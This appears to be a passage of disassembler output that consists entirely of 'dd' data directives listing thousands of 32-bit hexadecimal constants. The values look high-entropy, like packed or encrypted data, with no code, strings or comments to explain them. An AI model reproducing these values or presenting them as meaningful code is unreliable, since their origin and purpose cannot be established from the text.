328A2B0Ah dd 4B578875h, 9116880h, 5B641E1Dh, 0E52F59F4h, 44788356h dd 0E2F06874h, 0B4C753Ah, 0FE3D2E2Ch, 722FA2A6h, 7F080941h dd 9900D094h, 4B517619h, 20CE012Eh, 0CEBA0820h, 0D685AF5Bh dd 909666Ch, 5B840FC9h, 54171EDCh, 0ABB44FACh, 0BE9698CBh dd 0BB5E36CEh, 80566D72h, 0EB23E6B8h, 0E0D12546h, 0DA2651F6h dd 0DE825F25h, 1E567647h, 0C8721283h, 0C0A2F430h, 78D48D51h dd 13386F55h, 4788C589h, 10C340Bh, 0D468581Dh, 0C4A33807h dd 800E66ECh, 0CF30FAC3h, 55D06FD2h, 6123B225h, 9AE3EA05h dd 132660C2h, 58B9A97h, 460A0598h, 0A569D54Ah, 24BB424Ah dd 0EE24A557h, 4C626FC1h, 0B5FA6CECh, 7D5AD5FEh, 0D25B9466h dd 77E026CDh, 0EAFCBD74h, 0E4D33545h, 5436F26Bh, 8B561D72h dd 24765EBCh, 5DDEC541h, 7F29A860h, 0D72EEDEAh, 9C02D563h dd 0BAB4578Bh, 2A1B58BFh, 5F094020h, 69416A68h, 4654D072h dd 5D0A94C2h, 0D927EAC6h, 6B78768Ah, 0EAC8890Ah, 717A0C64h dd 2AEEE247h, 561C1A60h, 260DCA68h, 1F5318Fh, 0CD2D6CC6h dd 6BE578E0h, 8163DED4h, 90E9FD29h, 0BF4881C6h, 35046C6Fh dd 12190460h, 0B1E03E5Ch, 0CAB42096h, 0EF332738h, 68D68113h dd 0D5BD3464h, 2E67F15Eh, 0E9822CE7h, 0B70366EEh, 0BDF883F0h dd 0B238FEFh, 727450E9h, 43F71654h, 7B0EA1B6h, 74E25EF0h dd 0F0254868h, 8A7AC32Eh, 0A4A35457h, 0C1B21235h, 2B455F93h dd 902CC402h, 57CCF546h, 0E49F201h, 6576E962h, 9E45AB2Bh dd 23D12836h, 0A33B5580h, 0EFD235h, 7040C366h, 0E832E96Fh dd 42D72D9Ch, 4862505Ah, 0EB2561D1h, 0B8B31D60h, 0B9C3803Dh dd 0A70AEFFEh, 0CBA3E3D0h, 7B70EFC1h, 0B7B2E4E9h, 9F542B7Ch dd 54498059h, 387FA5E4h, 9F79A6D2h, 80024799h, 84055B39h dd 0EA7AC614h, 0EFD29891h, 90517060h, 155E43Dh, 3FB94631h dd 24CE5A1Bh, 76614E42h, 1A8D6841h, 0DD4C8C3Fh, 0C1755F5Ah dd 9FFE517h, 0C2895DC5h, 0D8EBCA68h, 0E1381809h, 0C9DADE89h dd 75E4295Dh, 0C900BDF0h, 291C2274h, 0B417E949h, 115F2743h dd 9D544F4Eh, 0FF0B53BAh, 4EA6D259h, 9F9B36Eh, 2916E953h dd 0D545F7A4h, 4DD53465h, 0E967C1FBh, 28CD3C7Bh, 0AD2F759h dd 12D66EA0h, 943370Bh, 71579163h, 0C914020Bh, 647FF5C4h dd 0C381BD0Eh, 0D848A379h, 980A96EAh, 0B2895451h, 23400317h dd 9D21FBB8h, 0C1312C1Ch, 0FBFF7242h, 98FC274Ch, 0FAE8C150h dd 96637BE9h, 30C86B93h, 86A55062h, 47FB913Dh, 6B86EE7Bh dd 167524E6h, 0B656FE33h, 41F58382h, 164C9E1Eh, 0DC884BCAh dd 575A1F4Fh, 45520821h, 51E582Ch, 1F877917h, 8F412860h dd 499AF45Ch, 0CD3B24EAh, 0F81B59F0h, 8E18F380h, 0F2038169h dd 0F7B3FDCh, 0BC08B587h, 0CEBF0084h, 8128EF1Eh, 5D26CF0Bh dd 0E71E808Eh, 0B0157AE5h, 0D4913017h, 76F1BD2Ch, 8105FD00h dd 0B364F5CDh, 0D0E92541h, 0DCF62602h, 80931BC0h, 6CECE77h dd 0A01CDF38h, 285AF402h dd 44C75CE7h, 3A1FB111h, 41A9C168h, 69B86FF2h, 32FBE239h dd 5816FEF3h, 0A5BE73FDh, 0DFE958D6h, 0D7201B94h, 7DD9D29h dd 38A2DD8Eh, 417455BEh, 0DC8E625Ah, 4C5927FBh, 775DDA62h dd 7A151E45h, 65BE0EDCh, 44750F5Dh, 8EAE1840h, 57A84BD1h dd 0CD467185h, 0C0E947A4h, 67D4BD55h, 0F72F0172h, 77774D5h dd 48E07E2Eh, 1308468Eh, 0B7EAC8AAh, 1AFC0224h, 0DB6E130Ch dd 0E163E068h, 0A970B83Bh, 89DCBD6Ah, 0BAF2DF5Bh, 0E497D79Dh dd 98C1E986h, 80D93B13h, 45B7087h, 2CC80399h, 6708BEA5h dd 29BB0075h, 0C16C0908h, 3306EB26h, 8C03E703h, 0E922DFD8h dd 55166AE3h, 54415809h, 84DD5479h, 0BC4C082h, 735F8333h dd 80E52EE8h, 8975C6E7h, 8BE9310Ch, 4B551638h, 9F7EBD5Bh dd 0A6F04797h, 0F37C4E88h, 0AD9D135Bh, 4BE0B489h, 14D6BA53h dd 952D5EB7h, 204F8310h, 4A41F033h, 2D609845h, 44691302h dd 0E34FD7F7h, 0F8A849Dh, 49EB871Fh, 3AA4B914h, 3A1EEEFh dd 0F011C12Fh, 84FBA05Ah, 45F21224h, 8733E56Fh, 9AF21AFh dd 0D829D004h, 5E0A6816h, 4DC4B6FCh, 0FE1AD847h, 525A2709h dd 1F207D4Ah, 0A8A1CE06h, 0D54A8F90h, 344054F8h, 1A2ABAFh dd 8AB994A0h, 705B5764h, 98BD37EAh, 243ABF20h, 0CFD3B30h dd 0C6D770F4h, 23D8870Bh, 91075FE6h, 0DD0BFF52h, 6609512Bh dd 0F2582174h, 0C3370277h, 6AA6E96Ch, 0E2B2076Bh, 0C987BDA7h dd 9B1BD500h, 8927D112h, 60CE59CBh, 8EC2E1F3h, 8582925Ah dd 4AE47D89h, 0AC8585Ah, 705F1EFAh, 48B9CD0Dh, 0E8F82F6Eh dd 0AE5Bh, 3E68CCCBh, 0E419E47h, 66D0FEFCh, 0EF528Ah, 4ABD8EDh dd 781A2DAAh, 290A7301h, 3F88E9E8h, 9CC6C928h, 314C105Ah dd 0E744853h, 522E4DCDh, 61192007h, 64E00745h, 62084CE7h dd 0E1B88076h, 14B1B05h, 95C2C229h, 1F715AE5h, 32EC5ED9h dd 400004B6h, 0A021756Dh, 2D916586h, 29F77BF2h, 7A2E042Dh dd 49C30D00h, 79BF1BA0h, 2506004Eh, 4CC755C9h, 4BD20D00h dd 4A3541D5h, 9B8D0926h, 4881C329h, 0F75BAEC5h, 7D8A595h dd 0FB55B908h, 7182695Ch, 5D0BB2A3h, 702CBDE8h, 28AC53B9h dd 2259F100h, 64E95F1Bh, 0BC555115h, 6FF60527h, 80A451FFh dd 0AE04FB2Ch, 0E03F5EDh, 56A974FEh, 6947FDF9h, 89BB194Fh dd 0E03BC39Bh, 0B0953471h, 9D62820Fh, 0E97B24ECh, 4E34834Eh dd 0B74AE845h, 2281C8ECh, 0F31B367Bh, 8F268FDBh, 8209D8EDh dd 8A79007h, 0C8B96071h, 0EE1D0EF7h, 96E94C16h, 5C5B90E0h dd 0B1114B30h, 0BCF20745h, 694F95A9h, 0FDA22B29h, 6B26EF96h dd 5467017Fh, 32CE92FEh, 0AEF0D212h, 0EC5E33E3h, 1313B50Dh dd 129AF6BFh, 4A08F989h, 0A45C16E8h, 5358528Eh, 0B120E1h dd 7912EBB8h, 30772D6Bh, 0C1604817h, 4CE0F7A0h, 5B2F4F03h dd 122F8F98h, 679039F2h, 0D93990B5h, 84204EE9h, 96D504EFh dd 0DD5E0995h, 68251460h, 9F4C4C9Fh, 0E9587C5Ch, 0E3744AD9h dd 0E4506248h, 9D680140h, 0DE5FC212h, 3F76EBD8h, 237E3B85h dd 9850CC81h, 0CECDCC50h, 10460A78h, 27F5E5D1h, 0DFEA12C0h dd 15E2B12h, 0E90180FAh, 0C7C0946Dh, 5F106BB9h, 0B65984Fh dd 0B0A0EF99h, 16976C78h, 51A29505h, 1C570AA0h, 6209FC94h dd 0F4EAAF22h, 80292F57h, 3B1753E8h, 6ED16801h, 32AA3E08h dd 0FD883BC0h, 0AB8EC897h, 85800D31h, 2E2DF050h, 718F3A17h dd 7F324380h, 5F80168h, 6CF507A2h, 821782EDh, 0C07F367Ah dd 0A32DC8E8h, 72C2C707h, 0DC9A4A7Ch, 5A6EE23Bh, 0C968AE0Fh dd 63835E3Ch, 1D5A628Bh, 491B4BFAh, 3A6E45Ch, 401E970h dd 90DD0AAh, 0EB8BEECFh, 2F75BE03h, 0CEF22E91h, 63C970C0h dd 0E10E4660h, 0FA1D0F71h, 211A0FF6h, 0E6804193h, 735A7A2Fh dd 3917EEF8h, 64092026h, 43805DF7h, 56DC3E79h, 2F020504h dd 12C22796h, 57A34A26h, 0C2F411F8h, 3E48B5Eh, 0D211E30h dd 8D6CCA2Ch, 0E3DCA58Dh, 74F18709h, 0FF5A553h, 7A74654Dh dd 28CDCDBFh, 1068A07Fh, 89E98056h, 0C16BD86Eh, 1D5535F9h dd 41EAE82Eh, 2C6BF508h, 7AF05F06h, 0B1511756h, 72B1F11Eh dd 2042CB9Fh, 80E7D098h, 73973CFh, 0FA3088C7h, 0ADEA905Bh dd 0F498D328h, 9389625Eh, 92CEE22Eh, 0AB6A523h, 0E206883h dd 0B07F69FDh, 3043069Ch, 0E9174D1Ch, 0BA94727Ch, 3AE58469h dd 8C9F61E3h, 5F1C9107h, 0E7A3015Ah, 2886409h, 8585EE06h dd 0EB339B31h, 0A8B6C34h, 6557222Ch, 2AB300AFh, 0EB80DBF6h dd 3BB1F912h, 0D8856509h, 0AE054AABh, 0D001D703h, 801CE957h dd 0FEFA6593h, 0D1891C1Eh, 0E879A1A4h, 6705256h, 9B2613CFh dd 0BEDAF063h, 0C0539505h, 8F93106h, 0DB0CED05h, 0EEE5BF5Eh dd 0A7DDEC7Fh, 0E9435BDAh, 0EB0D4FF1h, 27B87312h, 682F5DB8h dd 8B07F934h, 245CE6E9h, 543FB860h, 124E5F06h, 94750728h dd 0E920004Dh, 0F7C95679h, 7FA8438Fh, 0EEFA5FB8h, 0D1F68E27h dd 52BA0610h, 8C5EAE1Fh, 91484D0Fh, 1644E434h, 0F6C15CBCh dd 2B58070Fh, 0C937ABCh, 570A7D92h, 77438995h, 0C9F8DA89h dd 0FD2F7FBCh, 6583393h, 0E8DE10B4h, 6A86F14Fh, 0C3B544A8h dd 0ABE4458Eh, 0F7844EACh, 0F8290795h, 0D7BF52F2h, 0B90085D3h dd 6D993FC7h, 7C90581h, 0F9607252h, 485B7F53h, 0CDF0A6BCh dd 2BD372Bh, 68924217h, 0FBE560Fh, 726C59D8h, 0D810E385h dd 7EE3244Dh, 5EA264FCh, 85204352h, 0CAFE8103h, 56E9D0C9h dd 46DD0A7Bh, 80C01FDDh, 0D1F70DECh, 0B700BD55h, 815DA330h dd 0F1ECAF5h, 0E931D3A4h, 488CB836h, 13F74C27h, 50EE4A5Bh dd 33750826h, 5C5C46D0h, 0D6E8A54Eh, 7F94EB97h, 0FB96D4ECh dd 72A94F13h, 40555F1Eh, 416C2D8Fh, 0E91249BAh, 41ED6FA2h dd 28589F03h, 26E150F3h, 136A79CBh, 7C41EB94h, 164252CFh dd 401D1D60h, 4348B8FBh, 315F0928h, 4956F9C3h, 0B0DD7A04h dd 4B59E98Ah, 7CA74A46h, 0E316A417h, 0EEAC5AA6h, 0B4DABDE5h dd 0E9EE5094h, 0B7F0B6EAh, 8E66850Bh, 0A1203390h, 0EF800EB0h dd 6EE15075h, 2A30A52Ch, 0BFD8E905h, 27378EFAh, 1370665Eh dd 89CC885h, 0F3203E4Eh, 0A0255209h, 0BB025509h, 0D8A38C7Ah dd 18C1CB89h, 0B92A82ACh, 0EAC0CFBDh, 0C2CA7F38h, 3120E258h dd 0D1F2B7A3h, 0F5A8F425h, 81E9DF10h, 0C1C17A62h, 0C1B3F55Fh dd 8F71401h, 6522E9CFh, 84ED9981h, 20E87259h, 230F888Eh dd 9FD166D5h, 0C479E58Eh, 49E93EACh, 59DC690Fh, 82EB2984h dd 9A579BCDh, 0FF810B28h, 3DE4B3C6h, 12C7ED88h, 0FADE14F5h dd 2317CF04h, 8E04BCFDh, 0C0749D5Bh, 4069984Eh, 0CA3A3576h dd 631B9623h, 0B54A2BF0h, 0A2A0FB66h, 0A2F7EA6h, 0EDB38120h dd 0F02B2B70h, 5540FFF0h, 0E5BBC045h, 43386C3Ah, 0BC12BBB2h dd 7109BFEFh, 0DDEBC236h, 0CB659151h, 1766B7F0h, 0FB21FD68h dd 0D050DC23h, 0C94B32B8h, 0F65CC114h, 1E2F4828h, 2A74C240h dd 14BC3C17h, 1307DFF7h, 344D41E9h, 51E0A695h, 6AEEB523h dd 0A9532D5Eh, 0A1B7A2BAh, 164C3E9h, 0E872B5BAh, 73D7292Eh dd 1AA0080Ch, 6EE80ABDh, 2BE0FC2h, 5A610A2Fh, 0B88447Fh dd 589A7877h, 8D5A87Fh, 170D0C34h, 0A63F305Dh, 7A2B4148h dd 0FB4E37B9h, 317F27CAh, 531C720Ah, 594FDC55h, 3DF6739Fh dd 152FB319h, 7CB8DDCEh, 1522C0Fh, 0BD2ABCE0h, 0AD414E64h dd 0EB0E744Dh, 0C040B215h, 1D0882E1h, 8018C16Bh, 6BEDC861h dd 0EA834102h dd 0B34655FFh, 90EF207h, 0C2E76A28h, 0C7E9E9E9h, 2CCC2EC0h dd 5A27D531h, 0B417C77h, 78C8F652h, 2098013h, 0FCD82110h dd 0A2D7F20Ah, 0AB2460Bh, 15B90847h, 0FC3B1326h, 0B8E400BFh dd 7A434C95h, 345A2054h, 4D63594Ch, 40680903h, 8021F96Ch dd 32022714h, 0BB5FE95Fh, 4FF296E4h, 6481DD5Eh, 52174335h dd 8EA84155h, 0AAAD0278h, 4913E9BEh, 2F8552F7h, 905D700Fh dd 1332FC2h, 315A60EBh, 70525EF3h, 5F81DD39h, 709A1A60h dd 0DE7E9573h, 0F3EF85CFh, 0BE3E72F1h, 0F33B062Dh, 25C0929Dh dd 0FE74AEh, 50EBD107h, 355A70B8h, 0B9ECDF98h, 0FEECE289h dd 49E1F4CAh, 0D890F042h, 0C999811Ah, 0D0118555h, 949D4FFh dd 0A0213CBAh, 201B4BD3h, 7470B568h, 94955797h, 68B4E904h dd 7EDF39FEh, 9E9434A9h, 0C50AB9D3h, 0AEC3F501h, 0CDCF1272h dd 0D3C0BADCh, 7BEA28ACh, 26C21359h, 0C1DB8130h, 0C6B33A7Bh dd 0AE89E027h, 0F8085CA0h, 92A0665Bh, 4D9C4284h, 0F8A07664h dd 0A9014E58h, 660E96A9h, 4D0453FAh, 0D2E43FADh, 0DB341711h dd 6520EF17h, 5E1BB53h, 0E9FF58D7h, 980EC7Dh, 0D7E88850h dd 0B4BADC8Eh, 0F68F0BC5h, 0AFC4DBDAh, 85E7E03Dh, 6D232E81h dd 0E3BF5700h, 77DA611Eh, 0E8C774D2h, 0C88BF304h, 0E9C32802h dd 47D73F57h, 0D2220C84h, 9FB0B33Eh, 28D5C10Fh, 0AE5F84D9h dd 9F7058DDh, 0F2495E16h, 0B308D206h, 401424D0h, 3880D1A7h dd 2139E097h, 8EE925FBh, 75BDE700h, 1F5EC86Bh, 82B9EF83h dd 0FF0E62B1h, 7E996683h, 50E2AB85h, 1CD58ADAh, 9EC93717h dd 39EA525Eh, 0CFD37655h, 3540126Bh, 0C3728853h, 208BDE58h dd 61E1BD5Fh, 323C963Fh, 564098FAh, 11685302h, 0D5180E3Fh dd 0E2761600h, 8497DD9Eh, 0F78121F9h, 7620DBF7h, 7330B737h dd 4A4EE957h, 5CB922AEh, 7872BA41h, 0CB1CCC9Fh, 4C58B001h dd 38107F32h, 6E64C3Eh, 70BA5897h, 0A1DD0B0Ch, 2E7475BBh dd 65585E49h, 0ACED101h, 0A5DA2C94h, 5EA8F805h, 0C15574BEh dd 91CF8E9h, 0D17B85DDh, 7B8099DDh, 0DF8650E8h, 0F8BF5B69h dd 35D1855Ah, 5EB00C55h, 0F604BF2Dh, 4F582F0Ch, 1A39EE80h dd 25E9E690h, 46DDE329h, 5A5409B1h, 4D7E9968h, 4FCF5067h dd 2940CE1Ah, 0B220D75Ah, 596684F2h, 6BEF1844h, 880F4E60h dd 7C707EA2h, 4BDFE3D5h, 0DB8BBEB2h, 0FABDE913h, 53F3AAC5h dd 3A69B4D8h, 0E93D2005h, 70B69260h, 64087F0Bh, 3418D870h dd 0D458A057h, 0FAE69F40h, 5A3D7E20h, 0D3CEA25Ah, 1867A2EAh dd 42A3887h, 0B036E43Eh, 6BED4137h, 3320CE1h, 29255490h dd 0A527DB50h, 0BC2ACE35h, 79C05289h, 6B3E5F6Ah, 4AC2022Eh dd 807D3C54h, 0A9E907AFh, 47CBB71Bh, 6E2A3680h, 25F0CEF7h dd 90859495h, 36B309AAh, 967FDE20h, 8DE928ABh, 6FC10429h dd 0C0E85E50h, 0C4774898h, 315A565Ch, 0F7050607h, 0AF003A61h dd 0F97C11B6h, 920B0C80h, 0DE01578Eh, 27AFEAC4h, 0C3FF2D09h dd 2247D1A6h, 5099A72Bh, 7127B09h, 25EF72E8h, 5022AE09h dd 0C882D70Ah, 9B61EA31h, 0B8AA040Dh, 4D40B6BBh, 4C9E9237h dd 0BF268015h, 33500DFCh, 89B719DAh, 0C43BF44Dh, 9587B03Bh dd 0FFBD45D7h, 6C6FE9A0h, 0BFE29CBDh, 5C6687FCh, 2EB8076Bh dd 0D9018F1Bh, 0D74832D5h, 54972B72h, 0A7521723h, 28EED608h dd 7BFF2A13h, 0BAD3D2FDh, 21AE7156h, 59D82730h, 4EB2A14h dd 0AF325F87h, 0A03B0E99h, 0EF2E6481h, 4808D26Bh, 0BCC39FE7h dd 7BFCFC25h, 0F2B6D699h, 0A405103Bh, 0BB978C5Eh, 94C77F5Bh dd 0B4561E6h, 0D06DE2BFh, 0C65AE0D0h, 0E5435ECDh, 0EE112C87h dd 0C454472Fh, 0BADD90A2h, 0F93A7CD1h, 0FCE22844h, 0D9B20F4Eh dd 0B92BEB84h, 0A72777A5h, 72ADD6C9h, 97567F56h, 6828F765h dd 8038FD5Ch, 57B61E37h, 0CB009653h, 6B516BC9h, 6C56C903h dd 0C9D48D09h, 29590702h, 988C4CDDh, 77B81329h, 391FA1B7h dd 2BDC16E2h, 7718FAE6h, 0B45063C1h, 0E188D016h, 647B3505h dd 8B12155Eh, 635931E0h, 36204D86h, 99EC125Eh, 0CFD0E618h dd 50133DF6h, 8ABD33EAh, 0F0CDC605h, 7BE10536h, 80BDBCDAh dd 0A0B6851h, 5969041Ah, 0C001E983h, 0B915CD60h, 323287B8h dd 56408805h, 3082836h, 6D875549h, 0F74AD809h, 82A52CACh dd 4105804Eh, 165318BFh, 0AAB9062Ch, 76B55160h, 59E80F28h dd 1D97252Ch, 0BE9C522h, 688B8CC9h, 0C6136609h, 38450523h dd 69F97199h, 0EC99347Fh, 0FAE9B046h, 0BB7FA862h, 6D4328CFh dd 9255FA0h, 0ACE866D5h, 2DC99E19h, 435980E0h, 9605EE6Eh dd 124F3A9Ch, 352E7483h, 0ABD8207h, 233474E1h, 0DE572DCEh dd 38C14F91h, 7429F354h, 3E17B682h, 7C123509h, 0EE6CAE01h dd 7770FA53h, 0D3259779h, 44F9821Bh, 0C44C0F77h, 0F8AA5090h dd 5E8D60Dh, 0BFAC124Ah, 0BAC84739h, 3520C0FEh, 0FAFB2741h dd 29BD3158h, 5612EB01h, 0EAEDB04h, 5AF162A8h, 5E97BB91h dd 10A900D7h, 94C0C95Ah, 3D8483B0h, 0E5D9385Fh, 9C2D7E7Ah dd 0FE369292h, 0EC6A18D9h, 1B688313h, 0F3AE8506h, 0F70493D7h dd 39817668h, 7F4A636Eh, 38205C58h, 0C6A7FB80h, 0A5E527CFh dd 0A452AB09h, 0E6B4B1FCh, 12F35B45h, 8B23CE2Eh, 90E6FD5Ah dd 0D60A6825h, 0F3E9503Ch, 5DD14960h, 0E9735A0Bh, 8C451F2Bh dd 0F2E37858h, 272D5E00h, 1176C71h, 70550D0h, 0E969C75Ah dd 94F9D972h, 4498296h, 5FB67554h, 46520F25h, 847A38D4h dd 117DFF4Fh, 0FE29902h, 456BC560h, 779836A1h, 0F97B410Fh dd 0CDF58110h, 3A608D14h, 2ACC4166h, 4B9F5DA4h, 0A483A923h dd 164EA3FFh, 2B6121A5h, 1F72053Eh, 0A0063A04h, 9A92FE67h dd 0C0395407h, 2C6214CBh, 0A6EF8102h, 0FDD43667h, 0E2485EE6h dd 88C38ADFh, 20758F08h, 3C4F2697h, 54D163Dh, 0B769FF6Eh dd 142F7FF1h, 0A041E8F1h, 0DBF6805Fh, 19DC7FAh, 414B881h dd 6F6DE5h, 2B7205FDh, 4CEDFF7h, 414FA781h, 4A43D96h, 9BE71151h dd 0D795EE2Dh, 1DAE04BFh, 5BF8AAAEh, 21882CC8h, 9ABD0133h dd 0E828FD07h, 20B7A3F1h, 941D7E43h, 0B189818h, 4C2D587Fh dd 0D03E255h, 14021C08h, 0E87E755Bh, 103CD2E3h, 532EA6Fh dd 8946852h, 0F29F8345h, 1C8215CDh, 6F0972D4h, 89F2265Ah dd 0CA24354Bh, 66BFCA9h, 975483F6h, 1BBF548h, 4E8546BFh dd 7BFDF14Bh, 0B6EED584h, 5556C981h, 0A20B5CD8h, 7D692723h dd 4E060720h, 0DA9832A5h, 0D4C90150h, 3ED2B10Eh, 4A1FECE9h dd 0A71ABB5Fh, 96D829EAh, 9134F825h, 1A615508h, 3AF60BEAh dd 0A503A982h, 40C9DDD2h, 772700C1h, 4F7D7AF2h, 5062F3D6h dd 75AA3D4Ch, 5A029A5Eh, 5D45844Dh, 2D07C108h, 69B71FA3h dd 0D2189D2Ah, 94435B59h, 0BB572F50h, 61C5CF64h, 253EDA0h dd 6CCE6855h, 8B61623Fh, 5AC7806Eh, 0BE56D8F7h, 1245876h dd 9E68100h, 46089014h, 9FAFE39Dh, 4EBE05A4h, 11600287h dd 4F53E9A1h, 0C28046C5h, 0ABCAFCC3h, 62BAACEAh, 23721A3Dh dd 295316CFh, 0B3CBE02Ch, 0FD9E0F0h, 80D1285Bh, 5A6607BEh dd 810257C0h, 3B880AC1h, 0EE4BE3E8h, 0C279576Dh, 0CAA7F779h dd 6AAD6E5Ch, 0C75E77C3h, 0CE158B7Ah, 794E25EDh, 0F16B8166h dd 0B2A9E011h, 614A3E1Bh, 0BAF4BD12h, 1AB47371h, 0BC1EA330h dd 4C7EAC3h, 805835E2h, 27C5E650h, 0AB74B528h, 2A074A0Ch dd 75370C0Ah, 566001Dh, 7D282B8Eh, 2D51F001h, 30AD2F07h dd 0E2E1CA13h dd 3C950DEh, 6C2E7A0h, 0A52D3326h, 7C1E9D06h, 1FF10572h dd 0D1159E05h, 559D471h, 7B87F980h, 316F0B34h, 0AFDC5BDAh dd 0C401EAF8h, 9030CE0Bh, 2097C502h, 1E59EC3Bh, 3F7BD9F4h dd 0E9E385FDh, 75A2C4B6h, 2F8BCA03h, 0F2B003B1h, 3F2C98A0h dd 76108DD3h, 1C779663h, 4FDACA04h, 0ECAA1912h, 0E4EBA4FBh dd 64B544B3h, 5F37095Ah, 28777E48h, 5E1708DCh, 0F2FADB25h dd 0C16E3049h, 0C006E0C1h, 0F3642172h, 0DE26F720h, 0A703EE46h dd 64FD73Eh, 234EC24Eh, 0BA090C05h, 0F5B3EBDAh, 7F2F38F3h dd 0A0566A9h, 1395B363h, 75EE79DDh, 5EDEEC28h, 0FA2497FCh dd 0ABB4938Eh, 0AD96350Ah, 6E3A412Fh, 2D05C633h, 0B84F02CBh dd 9C13998h, 7C5859CEh, 0F2295078h, 6016579Dh, 5D97147Ah dd 0C695EEBCh, 0F941F3B5h, 1F052FD5h, 2E1CD3AFh, 0FEE909F4h dd 75FA2153h, 331D828h, 0EB1D173Ah, 0FB3B0A2Dh, 552BF872h dd 5B556409h, 14576BEDh, 5D5C4809h, 4F353E7Ch, 0B29CBC4Eh dd 776DFA59h, 5E172DC6h, 5969D79h, 60ADF7C2h, 0B61ED3A2h dd 2DE56340h, 30567281h, 0F19E196Ch, 37477F27h, 60A2E98Bh dd 702C5AE8h, 0F3F8500Fh, 9CC0FA20h, 2DBD01BDh, 2BB1D1A9h dd 8FBED984h, 65344E10h, 0A1FFFCABh, 0B603D970h, 6E6C0D8h dd 975F8073h, 0C23C24ADh, 0C190C61Eh, 73E91DEEh, 0FB5FC271h dd 0D82F3E9Fh, 0E16857C0h, 667F1454h, 1909C1F2h, 0FF5A88E9h dd 0DEB5B134h, 4E5B58F4h, 17A566B2h, 0B6FA5792h, 75547931h dd 633F68FFh, 5B169F71h, 0F251D20Bh, 288517F7h, 0C62CBFC8h dd 0DAB00E50h, 0C64CF030h, 6FE9FE08h, 0E4F153A0h, 0A9E94BCBh dd 9C305043h, 4E2A450Fh, 0EFB38550h, 4C8B9C8h, 292B154Dh dd 78A8AAF7h, 0A547F187h, 0E1988288h, 93C668E0h, 0DF666BB5h dd 72763882h, 323A7084h, 0F49659EFh, 8CE7AEF8h, 53039DE6h dd 5DE20BF6h, 0E07F38E1h, 3963CA28h, 6893CF28h, 0E92A4220h dd 0DAB3566Bh, 0BC4B15F1h, 6599AE1Dh, 8AE67D49h, 0C8BE0F13h dd 436009BAh, 0BB809BD9h, 7B390815h, 0F8CB0581h, 0FA375458h dd 4DF3A3D0h, 22A82D72h, 0FC3C388Fh, 0ED6A2F70h, 0BC132AF6h dd 0B96FA0E1h, 1A4E4F4h, 581D433Dh, 0B6BA07E4h, 0BF80790Ah dd 4E8AF54Ah, 898DE0CBh, 36BCFE5Ah, 0C46BE2A5h, 0B9124987h dd 32551207h, 13DE2CD0h, 10C17E7h, 0EA3313C8h, 4D8054Bh dd 0EDAF0701h, 5466E28Bh, 55DB251Eh, 0A494D0CEh, 0B4E9E806h dd 0B95E3840h, 0B84FA9BDh, 69A84B12h, 5C00FA92h, 6A778225h dd 494DB07h, 1F0FB605h, 0DA827AFEh, 934DE648h, 0BD5500CFh dd 69CA4D16h, 9FBDB09Dh, 0E4AB994Ah, 0AC83A096h, 0EDA5559Dh dd 0B867D847h, 8222500h, 3E7352Bh, 2D4A00D2h, 1137BDAAh dd 0E92DC731h, 6611C029h, 5F839759h, 0A038B52h, 0BB022444h dd 4E1F50Ch, 6C1821DFh, 0A956E909h, 7E79751Fh, 5916D468h dd 7EDB9F21h, 279E0D78h, 5A9FF776h, 0E68E928Bh, 0F58D20B8h dd 7A6450B5h, 1BE5B5F0h, 17629708h, 0E28804F6h, 29FB12E1h dd 714324ABh, 73D497AAh, 0D260C889h, 45BB0CCCh, 3F0C0E53h dd 0E1708812h, 38AE0AC5h, 7FE9348Fh, 6C5429CEh, 0C3D69F35h dd 2B9A6804h, 0F1C8FB3h, 30FF2542h, 9D8029A9h, 0FB528BF4h dd 0C35716E9h, 7DD2680Fh, 5679FE46h, 0A03AB109h, 8359776Dh dd 41BAF660h, 4757CC5h, 9A84F9C6h, 4AA9AEE7h, 537E909h dd 0EB6B1FF2h, 0D6ABC006h, 47F2B456h, 306D41BDh, 5C532055h dd 502B2D2Fh, 36F10B0Fh, 96D749ABh, 648C2C05h, 0E0D38F18h dd 94A8270Bh, 0FC2B16F4h, 0E957A332h, 5574F3C9h, 0D3A6EED5h dd 3A99EE87h, 16C9B22Bh, 0E0334EC7h, 80E4C95Eh, 0D7DEC879h dd 87C54340h, 2E9E55EBh, 795BE0B5h, 2FFEBDBAh, 0C4617170h dd 0EFC7880Ah, 77592587h, 5969F4D1h, 71CB4E3Ah, 0B542E4DFh dd 0FA9F27DAh, 0E9B3C2D6h, 0E77449B9h, 82366950h, 10C6B300h dd 0F54B707Dh, 0B06AD5B1h, 25F3A1AEh, 4ED57E1Eh, 74916992h dd 9CD72DF7h, 6AC279Fh, 65EF8856h, 0CB903003h, 0BFEF9EAh dd 0F65266C2h, 9D28FBD6h, 22549430h, 4C3889BFh, 0BD39BCF5h dd 78E63A02h, 0FEFEF7E9h, 6045F39Ch, 0EFE86315h, 4B8B3A10h dd 7569E9E1h, 0AFA90635h, 36877D44h, 5BC3AC52h, 5730492Dh dd 1658925Bh, 0A34F8568h, 487B0962h, 14BE5C96h, 5020AD52h dd 9E045095h, 39E8729Eh, 1371BE56h, 8D81C2B8h, 0B2BD032h dd 0EB4B19F0h, 5A312F8Ah, 12E2C8Eh, 902BF587h, 69534BF9h dd 0D10C2760h, 959EDE03h, 2B12492Ch, 0C845793Ch, 2DDF1370h dd 0CC568033h, 39BE2188h, 68B1DADh, 5082EEC1h, 720A7924h dd 26C2F63Fh, 7E952C59h, 3A575A96h, 76D0C0FCh, 6058095Fh dd 75E7C1h, 0C7713F96h, 0E94F096Ch, 0FEF6CADEh, 0BC3C1560h dd 61B4B8FAh, 0EB801A73h, 7DF3CC37h, 4000C3ECh, 525BDD88h dd 900495B6h, 78F0582Ch, 0B331F320h, 28BF2EA1h, 0C4FBA63Bh dd 651298CDh, 7388AEA9h, 0EA294B77h, 0C1871837h, 84D14DC5h dd 0DF44C301h, 0EF67A4FBh, 8C187248h, 0B84E270Ch, 68364004h dd 0C640E62Fh, 17CE00BCh, 0A2BE5F35h, 1350965Bh, 0E91003BBh dd 0E05ACC8Fh, 12836545h, 0C83FD60Ch, 50E66EDh, 0A5571B6Bh dd 80BF95BFh, 4A56EF0Dh, 0B6AE92Fh, 0EB2956D6h, 372B807Dh dd 45011BB6h, 591193CBh, 0AF3F75FEh, 6A5B2591h, 0C6EE8001h dd 0F079E057h, 0A35AE804h, 5198C8B4h, 0C0B400B5h, 0E58602EDh dd 8C3DCF6h, 0E773F580h, 0E96F0697h, 1082DDD5h, 0D9574204h dd 0FB59A7D2h, 1AAB78Eh, 0A32C5BF8h, 1652D8C0h, 0CE9B151h dd 0EACD5561h, 3EA8749Fh, 69781C27h, 654C5997h, 